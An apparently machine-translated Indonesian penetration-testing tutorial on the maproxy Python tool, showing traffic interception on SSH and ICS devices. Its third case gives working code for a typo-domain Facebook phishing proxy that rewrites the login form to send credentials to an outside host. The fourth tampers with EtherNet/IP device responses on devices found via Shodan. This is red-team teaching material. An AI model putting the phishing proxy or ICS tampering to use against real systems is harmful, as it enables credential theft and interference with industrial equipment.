Pemrosesan data jaringan dengan cepat

Terjemahan artikel disiapkan sebelum dimulainya Pentest. Praktik Pengujian Penetrasi .





anotasi


Berbagai jenis penilaian keamanan, dari pengujian penetrasi reguler dan operasi Tim Merah hingga meretas perangkat IoT / ICS dan SCADA, berarti bekerja dengan protokol jaringan biner, yaitu, pada dasarnya, mencegat dan memodifikasi data jaringan antara klien dan target. Mengendus lalu lintas jaringan bukanlah tugas yang sulit, karena kami memiliki alat seperti Wireshark, Tcpdump atau Scapy, tetapi modifikasi tampaknya lebih memakan waktu, karena kita akan memerlukan antarmuka yang unik untuk membaca data jaringan, menyaringnya, mengubahnya dengan cepat dan mengirim kembali ke host target dalam waktu yang hampir bersamaan. Selain itu, akan ideal jika alat semacam itu dapat secara otomatis bekerja dengan beberapa koneksi paralel dan memiliki kemampuan untuk menyesuaikan menggunakan skrip.

Setelah saya menemukan alat yang disebut maproxy, dokumentasi dengan cepat memberi tahu saya maproxy- hanya apa yang saya butuhkan. Ini adalah proxy TCP yang cukup sederhana, serbaguna, dan mudah dikonfigurasi. Saya menguji alat ini pada beberapa aplikasi yang cukup kompleks, termasuk perangkat ICS (yang menghasilkan banyak paket) untuk mengetahui apakah ia dapat bekerja dengan banyak koneksi paralel, dan alat tersebut bekerja dengan baik.

Artikel ini akan memperkenalkan Anda dengan pemrosesan data jaringan dengan cepat maproxy.

Gambaran


Alat ini maproxydidasarkan pada Tornado, kerangka kerja jaringan Python asinkron yang populer dan berkembang dengan baik.

Secara umum, ini dapat bekerja dalam beberapa mode:

  • TCP:TCP - koneksi TCP tidak terenkripsi;
  • TCP:SSLdan SSL:TCP- dengan enkripsi satu arah;
  • SSL:SSL - enkripsi dua arah.

Itu datang sebagai perpustakaan. Untuk mulai cepat, Anda dapat menggunakan file sampel yang mencerminkan fungsi utama perpustakaan :

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Kasus 1 - Proksi Dua Arah Sederhana


Berdasarkan pada tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Secara default, ProxyServer()dibutuhkan dua argumen - lokasi koneksi dan port tujuan. server.listen()mengambil satu argumen - port untuk mendengarkan koneksi yang masuk.

Eksekusi skrip:

# python tcp2tcp.py

Untuk melakukan pengujian, kami akan menyambung ke server SSH lokal melalui skrip proxy kami, yang mendengarkan 2222/tcpport dan menghubungkan ke port 22/tcpserver SSH standar :



Spanduk selamat datang memberi tahu kami bahwa skrip sampel kami berhasil mem-proksi lalu lintas jaringan.

Kasus 2 - modifikasi data


Skrip demo lain sangat logging_proxy.pyideal untuk berinteraksi dengan data jaringan. Komentar dalam file menjelaskan metode kelas yang dapat Anda modifikasi untuk mencapai tujuan Anda:



Yang paling menarik di sini:

  • on_c2p_done_read - untuk mencegat data dalam perjalanan dari klien ke server;
  • on_p2s_done_read - terbalik.

Mari kita coba ubah spanduk SSH yang dikembalikan server ke klien:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Jalankan skrip:



Seperti yang Anda lihat, klien disesatkan, karena untuk itu nama server SSH diubah menjadi «DumnySSH».



Kasus 3 - Halaman Web Phishing Sederhana


Ada banyak kegunaan untuk alat ini. Kali ini, mari kita fokus pada sesuatu yang lebih praktis dari area operasi Tim Merah. Mari kita meniru Arahan m.facebook.com, dan menggunakan domain khusus dengan kesalahan ketik yang disengaja, misalnya m.facebok.com. Untuk tujuan demonstrasi, anggap saja domain tersebut terdaftar oleh kami.

Kami akan membuat koneksi jaringan yang tidak dienkripsi dengan proksi korban kami dan SSL Stream untuk server Facebook ( 31.13.81.36). Agar contoh ini berfungsi, kita perlu mengganti header host HTTP dan mengimplementasikan nama host yang benar, dan kami juga akan menonaktifkan kompresi respons untuk mendapatkan akses mudah ke kontennya. Pada akhirnya, kami akan mengganti formulir HTML sehingga kredensial masuk dikirim kepada kami, alih-alih server Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action=\"/login/", "action=\"https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Pada akhirnya:



Seperti yang Anda lihat, kami berhasil mengganti situs asli.

Kasus 4 - Port Ethernet / IP


Saya telah berurusan dengan perangkat industri dan perangkat lunak (ICS / SCADA) selama beberapa waktu, seperti programmable controllers (PLC), modul input / output, drive, relay, lingkungan pemrograman tangga dan banyak lagi. Kasing ini untuk mereka yang suka barang-barang industri. Meretas solusi semacam itu melibatkan permainan aktif dengan protokol jaringan. Dalam contoh berikut, saya ingin menunjukkan bagaimana Anda dapat memodifikasi lalu lintas jaringan ICS / SCADA.

Untuk melakukan ini, Anda perlu yang berikut:

  • Sniffer jaringan, misalnya, Wireshark;
  • Ethernet / IP atau hanya perangkat SIP, Anda dapat menemukannya menggunakan layanan Shodan;
  • Berbasis skrip kami maproxy.

Untuk memulai, mari kita lihat seperti apa respons otentikasi CIP (Common Industrial Protocol):



Identifikasi perangkat dilakukan dengan menggunakan Ethernet / IP, yang merupakan versi diperpanjang dari Ethernet untuk aplikasi industri, ia membungkus protokol kontrol seperti CIP. Kami akan mengubah nama identifikasi yang disorot, yang dapat dilihat pada tangkapan layar "NI-IndComm for Ethernet" menggunakan skrip proxy kami. Kami dapat menggunakan kembali skrip logging_proxy.pydan memodifikasi metode kelas on_p2s_done_read, karena kami ingin nama identifikasi yang berbeda terlihat di klien.

Kode:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'\x0c\x00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Bahkan, kami meminta identifikasi perangkat dua kali, jawaban kedua adalah yang asli, dan yang pertama dimodifikasi dengan cepat.

Dan yang terakhir


Menurut pendapat saya, alat yang maproxymudah dan sederhana yang juga ditulis dengan Python, jadi saya percaya Anda juga bisa mendapat manfaat dari penggunaannya. Tentu saja, ada alat yang lebih canggih untuk memproses dan mengubah data jaringan, tetapi mereka juga membutuhkan perhatian lebih dan biasanya dibuat untuk kasus penggunaan tertentu, misalnya, Muraena , Modlishka atau evilginx untuk kasus yang mirip dengan yang ketiga, atau canape untuk kasus terakhir. Dengan satu atau lain cara, dengan bantuan maproxyAnda dapat dengan cepat mewujudkan ide-ide Anda untuk menyadap data jaringan, karena contoh skripnya sangat jelas.



Menguji mekanisme otentikasi dalam Windows AD



All Articles